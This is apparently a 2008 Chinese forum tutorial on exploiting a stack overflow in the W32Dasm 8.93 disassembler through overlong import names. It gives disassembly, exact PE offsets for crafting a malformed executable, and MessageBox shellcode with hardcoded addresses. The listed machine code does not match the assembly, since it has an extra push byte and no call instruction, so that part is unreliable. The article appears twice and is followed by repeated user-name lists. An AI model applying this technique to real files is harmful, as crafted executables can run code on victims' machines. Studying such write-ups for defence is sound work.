-
-
[原创]W32dsm v8.93漏洞分析利用
-
2008-7-4 11:42 6339
-
【文章标题】: W32dsm v8.93漏洞分析利用
【文章作者】: aoanzhishu
【作者邮箱】: aoanzhishu@yahoo.com.cn
【下载地址】: 附件下载
【漏洞方式】: 栈溢出
【攻击形式】: 对话框显示
【使用工具】: OD,LordPE,UltraEdit-32
【操作平台】: XP (English)
【作者声明】:献给初学漏洞的朋友们,高手漂过,欢迎指点与建议,仅做为学习交流,别无其他目的
1.漏洞提要
我们首先来熟悉下W32dsm v8.93这个古老的漏洞,当时已经风靡网络,再拿出来练练手,对于新手很不错
英文报道:
"The program uses the wsprintf() function to copy the name of the
imported/exported functions of the analyzed file into a buffer of only
256 bytes, with the possibility for an attacker to execute malicious
code."
中文报道:
W32Dasm在处理引出/导入函数名时存在问题,远程攻击者可以利用这个漏洞构建恶意可执行文件,诱使用户处理,可以用户进程权限在系统上执行任意指令。
程序使用wsprintf()函数拷贝分析文件的引入/导出函数名到一个256字节的缓冲区,超长引入/导出函数名可发生缓冲区溢出,精心构建一个畸形可执行文件,诱使用户调试,可以进程权限在系统上执行任意指令。
W32dsm处理导入函数时确实存在栈溢出漏洞,但是很长的导入函数名会造成PE文件无效
受影响系统:
- Microsoft Windows XP
- Microsoft Windows NT 4.0
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 2000
反汇编如下:
0045D8DB E8 A0170500 CALL <JMP.&USER32.wsprintfA> 格式串溢出
0045D8E0 83C4 0C ADD ESP,0C
0045D8E3 8D8D 04FFFFFF LEA ECX,DWORD PTR SS:[EBP-FC]
0045D8E9 51 PUSH ECX
0045D8EA E8 65130500 CALL <JMP.&KERNEL32.lstrlen>
0045D8EF 83F8 50 CMP EAX,50
0045D8F2 7E 24 JLE SHORT H-W32Das.0045D918
0045D8F4 6A 50 PUSH 50
0045D8F6 8D85 04FFFFFF LEA EAX,DWORD PTR SS:[EBP-FC]
0068BDC8 7C80BE2D kernel32.7C80BE2D
0068BDCC 0068BDE4 |s = 0068BDE4
0068BDD0 004C3818 |Format = "%s"
0068BDD4 00CCD13F \<%s> = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"...
2.构造文件
这里要求大家熟悉PE文件结构的知识
找个exe程序把DOS头部复制过来如下
找到偏移3C处发现PE头偏移地址为80h,下面在80h处添加文件头结构体具体信息,大多数exe都有text,data节,我们找到记事本程序直接复制好相关信息
下面要注意偏移100h处事我们要利用漏洞的关键,是导入表的RVA与大小,我们构造畸形文件为了简单,其他15项都为0,我们构造三个区块,把第三个区块作为导入表的结构入口
首先找到 有0B01的magic(IMAGE_OPTIONAL_HEADER)入口地址,再加上E0算出为 E0h + 98h=178h,该偏移地址作为各个区块头的入口 继续复制记事本中的该部分,此时100h~177先填充为0
注意为了文件简小,我们把偏移1adh处偏移RVA改为20h,即偏移2000,偏移1d5h处偏移RVA改为30h,即偏移3000,自行更改区块大小值恰当即可
有RVA与文件偏移换算得:.text在200h,.data在600h,.idata在800h处
此时exe文件已经成型了
下面补充代码,数据
200h~600h干脆随便复制点代码就行了,但是要构造能够被windows识别为正常exe文件得下点功夫,这里不深入了
600h~610h复制记事本程序的data段部分
现在到关键区段了
回到偏移100h,这时我们知道该填充00300000h了,大小自定我这里选3C02大一点
接着在800h填充导入表结构信息如下
这里弄两个畸形导入函数地址分别为310Ch,3120h
换算后为90Ch,920h,多个便于确定溢出点
从偏移8d0h开始就填充78h,越多越好最终确定溢出位置在文件偏移9d6h处
3.漏洞利用
选用该模式演示个对话框显示
Shellcode asm为:
xor ebx,ebx
push ebx
push 20207568
push 7369687A
push 6E616F61
mov eax,esp
push ebx
push eax
push ebx
mov eax,USER32.MESSAGEBOXA
call eax
nop
由于这个漏洞利用比较狭窄,不能超过80字节shellcode,
我就不重定位选取dll,
机器码为:
33DB
53
68 68752020
68 7A686973
68 616F616E
8BC4
53
50
50
53
B8 8A05457E // 注意:这时我电脑上的 messageboxa 的地址 0x7E45058A
// jmp esp 地址 选的通用地址 0x7FFA4512
复制到文件偏移9d6h处
下面溢出效果图
4.结论
其实这个漏洞利用起来比较麻烦,要求有较好的PE文件结构知识,而且可利用的范围狭窄,只能利用导入表溢出,空间狭窄
鄙人如有疏忽,敬请执教,欢迎指点
请勿把exploit作为恶意用途使用
【文章作者】: aoanzhishu
【作者邮箱】: aoanzhishu@yahoo.com.cn
【下载地址】: 附件下载
【漏洞方式】: 栈溢出
【攻击形式】: 对话框显示
【使用工具】: OD,LordPE,UltraEdit-32
【操作平台】: XP (English)
【作者声明】:献给初学漏洞的朋友们,高手漂过,欢迎指点与建议,仅做为学习交流,别无其他目的
1.漏洞提要
我们首先来熟悉下W32dsm v8.93这个古老的漏洞,当时已经风靡网络,再拿出来练练手,对于新手很不错
英文报道:
"The program uses the wsprintf() function to copy the name of the
imported/exported functions of the analyzed file into a buffer of only
256 bytes, with the possibility for an attacker to execute malicious
code."
中文报道:
W32Dasm在处理引出/导入函数名时存在问题,远程攻击者可以利用这个漏洞构建恶意可执行文件,诱使用户处理,可以用户进程权限在系统上执行任意指令。
程序使用wsprintf()函数拷贝分析文件的引入/导出函数名到一个256字节的缓冲区,超长引入/导出函数名可发生缓冲区溢出,精心构建一个畸形可执行文件,诱使用户调试,可以进程权限在系统上执行任意指令。
W32dsm处理导入函数时确实存在栈溢出漏洞,但是很长的导入函数名会造成PE文件无效
受影响系统:
- Microsoft Windows XP
- Microsoft Windows NT 4.0
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 2000
反汇编如下:
0045D8DB E8 A0170500 CALL <JMP.&USER32.wsprintfA> 格式串溢出
0045D8E0 83C4 0C ADD ESP,0C
0045D8E3 8D8D 04FFFFFF LEA ECX,DWORD PTR SS:[EBP-FC]
0045D8E9 51 PUSH ECX
0045D8EA E8 65130500 CALL <JMP.&KERNEL32.lstrlen>
0045D8EF 83F8 50 CMP EAX,50
0045D8F2 7E 24 JLE SHORT H-W32Das.0045D918
0045D8F4 6A 50 PUSH 50
0045D8F6 8D85 04FFFFFF LEA EAX,DWORD PTR SS:[EBP-FC]
0068BDC8 7C80BE2D kernel32.7C80BE2D
0068BDCC 0068BDE4 |s = 0068BDE4
0068BDD0 004C3818 |Format = "%s"
0068BDD4 00CCD13F \<%s> = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"...
2.构造文件
这里要求大家熟悉PE文件结构的知识
找个exe程序把DOS头部复制过来如下
找到偏移3C处发现PE头偏移地址为80h,下面在80h处添加文件头结构体具体信息,大多数exe都有text,data节,我们找到记事本程序直接复制好相关信息
下面要注意偏移100h处事我们要利用漏洞的关键,是导入表的RVA与大小,我们构造畸形文件为了简单,其他15项都为0,我们构造三个区块,把第三个区块作为导入表的结构入口
首先找到 有0B01的magic(IMAGE_OPTIONAL_HEADER)入口地址,再加上E0算出为 E0h + 98h=178h,该偏移地址作为各个区块头的入口 继续复制记事本中的该部分,此时100h~177先填充为0
注意为了文件简小,我们把偏移1adh处偏移RVA改为20h,即偏移2000,偏移1d5h处偏移RVA改为30h,即偏移3000,自行更改区块大小值恰当即可
有RVA与文件偏移换算得:.text在200h,.data在600h,.idata在800h处
此时exe文件已经成型了
下面补充代码,数据
200h~600h干脆随便复制点代码就行了,但是要构造能够被windows识别为正常exe文件得下点功夫,这里不深入了
600h~610h复制记事本程序的data段部分
现在到关键区段了
回到偏移100h,这时我们知道该填充00300000h了,大小自定我这里选3C02大一点
接着在800h填充导入表结构信息如下
这里弄两个畸形导入函数地址分别为310Ch,3120h
换算后为90Ch,920h,多个便于确定溢出点
从偏移8d0h开始就填充78h,越多越好最终确定溢出位置在文件偏移9d6h处
3.漏洞利用
选用该模式演示个对话框显示
Shellcode asm为:
xor ebx,ebx
push ebx
push 20207568
push 7369687A
push 6E616F61
mov eax,esp
push ebx
push eax
push ebx
mov eax,USER32.MESSAGEBOXA
call eax
nop
由于这个漏洞利用比较狭窄,不能超过80字节shellcode,
我就不重定位选取dll,
机器码为:
33DB
53
68 68752020
68 7A686973
68 616F616E
8BC4
53
50
50
53
B8 8A05457E // 注意:这时我电脑上的 messageboxa 的地址 0x7E45058A
// jmp esp 地址 选的通用地址 0x7FFA4512
复制到文件偏移9d6h处
下面溢出效果图
4.结论
其实这个漏洞利用起来比较麻烦,要求有较好的PE文件结构知识,而且可利用的范围狭窄,只能利用导入表溢出,空间狭窄
鄙人如有疏忽,敬请执教,欢迎指点
请勿把exploit作为恶意用途使用
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!
赞赏
他的文章
谁下载
smartsl
deanlh
bstzxy
kanxue
forgot
FishSeeWater
binliao
loveboom
jmzz
nig
heroin
winndy
lychee
caifox
lpyxt
海风月影
moodsky
poppig
Phoenix
okpj
csuthdy
xingbing
Nameless
fxyang
hho2002
daxia200N
nujia
benladen
Aaah
uyhj
zxc
28077956
jskew
ikey
脱脱
bikaku
cd37ycs
啊CR
laomms
cxjnet
deadlybugs
Dark
xqiang
cater
skyXnet
kyc
ljwbh
dssz
无聊的菜鸟
happyasr
rooky2000
鹅蛋壳
LEDER_JH
decolor
无奈
usufu
xzchina
option
dyk158
zgz1979clh
shizhen
warcraft
peaceclub
空手剑客
wynney
ways80
eyeblue
执着我一生
bluecat
nssic
suiyingjie
shoooo
ww990
Fpc
njyu1
sisess
fxbzn
东方弘
frip
MrOwl
wjk8
Saver
pentacleNC
aki
夜凉如水
冷血书生
angliu
longker
chsml
kenmark
likunkun
blackeyes
wyqzm
awjju
foria
readyu
qqeleven
人狗一半
foxabu
谁下载
smartsl
deanlh
bstzxy
kanxue
forgot
FishSeeWater
binliao
loveboom
jmzz
nig
heroin
winndy
lychee
caifox
lpyxt
海风月影
moodsky
poppig
Phoenix
okpj
csuthdy
xingbing
Nameless
fxyang
hho2002
daxia200N
nujia
benladen
Aaah
uyhj
zxc
28077956
jskew
ikey
脱脱
bikaku
cd37ycs
啊CR
laomms
cxjnet
deadlybugs
Dark
xqiang
cater
skyXnet
kyc
ljwbh
dssz
无聊的菜鸟
happyasr
rooky2000
鹅蛋壳
LEDER_JH
decolor
无奈
usufu
xzchina
option
dyk158
zgz1979clh
shizhen
warcraft
peaceclub
空手剑客
wynney
ways80
eyeblue
执着我一生
bluecat
nssic
suiyingjie
shoooo
ww990
Fpc
njyu1
sisess
fxbzn
东方弘
frip
MrOwl
wjk8
Saver
pentacleNC
aki
夜凉如水
冷血书生
angliu
longker
chsml
kenmark
likunkun
blackeyes
wyqzm
awjju
foria
readyu
qqeleven
人狗一半
foxabu
谁下载
smartsl
deanlh
bstzxy
kanxue
forgot
FishSeeWater
binliao
loveboom
jmzz
nig
heroin
winndy
lychee
caifox
lpyxt
海风月影
moodsky
poppig
Phoenix
okpj
csuthdy
xingbing
Nameless
fxyang
hho2002
daxia200N
nujia
benladen
Aaah
uyhj
zxc
28077956
jskew
ikey
脱脱
bikaku
cd37ycs
啊CR
laomms
cxjnet
deadlybugs
Dark
xqiang
cater
skyXnet
kyc
ljwbh
dssz
无聊的菜鸟
happyasr
rooky2000
鹅蛋壳
LEDER_JH
decolor
无奈
usufu
xzchina
option
dyk158
zgz1979clh
shizhen
warcraft
peaceclub
空手剑客
wynney
ways80
eyeblue
执着我一生
bluecat
nssic
suiyingjie
shoooo
ww990
Fpc
njyu1
sisess
fxbzn
东方弘
frip
MrOwl
wjk8
Saver
pentacleNC
aki
夜凉如水
冷血书生
angliu
longker
chsml
kenmark
likunkun
blackeyes
wyqzm
awjju
foria
readyu
qqeleven
人狗一半
foxabu
谁下载
smartsl
deanlh
bstzxy
kanxue
forgot
FishSeeWater
binliao
loveboom
jmzz
nig
heroin
winndy
lychee
caifox
lpyxt
海风月影
moodsky
poppig
Phoenix
okpj
csuthdy
xingbing
Nameless
fxyang
hho2002
daxia200N
nujia
benladen
Aaah
uyhj
zxc
28077956
jskew
ikey
脱脱
bikaku
cd37ycs
啊CR
laomms
cxjnet
deadlybugs
Dark
xqiang
cater
skyXnet
kyc
ljwbh
dssz
无聊的菜鸟
happyasr
rooky2000
鹅蛋壳
LEDER_JH
decolor
无奈
usufu
xzchina
option
dyk158
zgz1979clh
shizhen
warcraft
peaceclub
空手剑客
wynney
ways80
eyeblue
执着我一生
bluecat
nssic
suiyingjie
shoooo
ww990
Fpc
njyu1
sisess
fxbzn
东方弘
frip
MrOwl
wjk8
Saver
pentacleNC
aki
夜凉如水
冷血书生
angliu
longker
chsml
kenmark
likunkun
blackeyes
wyqzm
awjju
foria
readyu
qqeleven
人狗一半
foxabu
谁下载
smartsl
deanlh
bstzxy
kanxue
forgot
FishSeeWater
binliao
loveboom
jmzz
nig
heroin
winndy
lychee
caifox
lpyxt
海风月影
moodsky
poppig
Phoenix
okpj
csuthdy
xingbing
Nameless
fxyang
hho2002
daxia200N
nujia
benladen
Aaah
uyhj
zxc
28077956
jskew
ikey
脱脱
bikaku
cd37ycs
啊CR
laomms
cxjnet
deadlybugs
Dark
xqiang
cater
skyXnet
kyc
ljwbh
dssz
无聊的菜鸟
happyasr
rooky2000
鹅蛋壳
LEDER_JH
decolor
无奈
usufu
xzchina
option
dyk158
zgz1979clh
shizhen
warcraft
peaceclub
空手剑客
wynney
ways80
eyeblue
执着我一生
bluecat
nssic
suiyingjie
shoooo
ww990
Fpc
njyu1
sisess
fxbzn
东方弘
frip
MrOwl
wjk8
Saver
pentacleNC
aki
夜凉如水
冷血书生
angliu
longker
chsml
kenmark
likunkun
blackeyes
wyqzm
awjju
foria
readyu
qqeleven
人狗一半
foxabu
谁下载
smartsl
deanlh
bstzxy
kanxue
forgot
FishSeeWater
binliao
loveboom
jmzz
nig
heroin
winndy
lychee
caifox
lpyxt
海风月影
moodsky
poppig
Phoenix
okpj
csuthdy
xingbing
Nameless
fxyang
hho2002
daxia200N
nujia
benladen
Aaah
uyhj
zxc
28077956
jskew
ikey
脱脱
bikaku
cd37ycs
啊CR
laomms
cxjnet
deadlybugs
Dark
xqiang
cater
skyXnet
kyc
ljwbh
dssz
无聊的菜鸟
happyasr
rooky2000
鹅蛋壳
LEDER_JH
decolor
无奈
usufu
xzchina
option
dyk158
zgz1979clh
shizhen
warcraft
peaceclub
空手剑客
wynney
ways80
eyeblue
执着我一生
bluecat
nssic
suiyingjie
shoooo
ww990
Fpc
njyu1
sisess
fxbzn
东方弘
frip
MrOwl
wjk8
Saver
pentacleNC
aki
夜凉如水
冷血书生
angliu
longker
chsml
kenmark
likunkun
blackeyes
wyqzm
awjju
foria
readyu
qqeleven
人狗一半
foxabu
谁下载
bstzxy
xingbing
Nameless
yy28
啊CR
kyc
zgz1979clh
执着我一生
nssic
whydbg
kenmark
qqeleven
lingzhimin
RuShi
cirouter
dttom
jeffcjh
lzdydc
smxhhq
rocketming
issasth
kissyll
basherone
ELyt
blackwhite
lovehaiy
coolwxd
tingdong
inking
chengxjj
feelsky
jxzhxch
yinghetao
taotzu
loudy
weijuan
yzjiao
cooray
sshhmm
lakeswan
zhaokang
hwz
没啥意思
vxasm
shaokuan
hardcode
sssccc
DiYhAcK
bianselong
blong
klency
kuangxi
FJX
elfchery
塞外牧羊
正路人甲
qiaoy
小安
寻梦小子
gougouhui
komnb
babydream
yiinfo
黑叶叶
qqqwer
谁下载
smartsl
deanlh
bstzxy
kanxue
forgot
FishSeeWater
binliao
loveboom
jmzz
nig
heroin
winndy
lychee
caifox
lpyxt
海风月影
moodsky
poppig
Phoenix
okpj
csuthdy
xingbing
Nameless
fxyang
hho2002
daxia200N
nujia
benladen
Aaah
uyhj
zxc
28077956
jskew
ikey
脱脱
bikaku
cd37ycs
啊CR
laomms
cxjnet
deadlybugs
Dark
xqiang
cater
skyXnet
kyc
ljwbh
dssz
无聊的菜鸟
happyasr
rooky2000
鹅蛋壳
LEDER_JH
decolor
无奈
usufu
xzchina
option
dyk158
zgz1979clh
shizhen
warcraft
peaceclub
空手剑客
wynney
ways80
eyeblue
执着我一生
bluecat
nssic
suiyingjie
shoooo
ww990
Fpc
njyu1
sisess
fxbzn
东方弘
frip
MrOwl
wjk8
Saver
pentacleNC
aki
夜凉如水
冷血书生
angliu
longker
chsml
kenmark
likunkun
blackeyes
wyqzm
awjju
foria
readyu
qqeleven
人狗一半
foxabu
谁下载
smartsl
deanlh
bstzxy
kanxue
forgot
FishSeeWater
binliao
loveboom
jmzz
nig
heroin
winndy
lychee
caifox
lpyxt
海风月影
moodsky
poppig
Phoenix
okpj
csuthdy
xingbing
Nameless
fxyang
hho2002
daxia200N
nujia
benladen
Aaah
uyhj
zxc
28077956
jskew
ikey
脱脱
bikaku
cd37ycs
啊CR
laomms
cxjnet
deadlybugs
Dark
xqiang
cater
skyXnet
kyc
ljwbh
dssz
无聊的菜鸟
happyasr
rooky2000
鹅蛋壳
LEDER_JH
decolor
无奈
usufu
xzchina
option
dyk158
zgz1979clh
shizhen
warcraft
peaceclub
空手剑客
wynney
ways80
eyeblue
执着我一生
bluecat
nssic
suiyingjie
shoooo
ww990
Fpc
njyu1
sisess
fxbzn
东方弘
frip
MrOwl
wjk8
Saver
pentacleNC
aki
夜凉如水
冷血书生
angliu
longker
chsml
kenmark
likunkun
blackeyes
wyqzm
awjju
foria
readyu
qqeleven
人狗一半
foxabu
谁下载
bstzxy
xingbing
Nameless
yy28
zgz1979clh
执着我一生
nssic
whydbg
kenmark
qqeleven
gtboy
RuShi
cirouter
jeffcjh
lzdydc
ethel
kissyll
basherone
ELyt
blackwhite
lovehaiy
coolwxd
feelsky
jxzhxch
yinghetao
taotzu
loudy
weijuan
yzjiao
cooray
sshhmm
zhaokang
aoanzhishu
hardcode
sssccc
DiYhAcK
bianselong
blong
klency
aoyuhuaoju
kuangxi
elfchery
塞外牧羊
正路人甲
qiaoy
小安
寻梦小子
gougouhui
komnb
babydream
yiinfo
qqqwer
看原图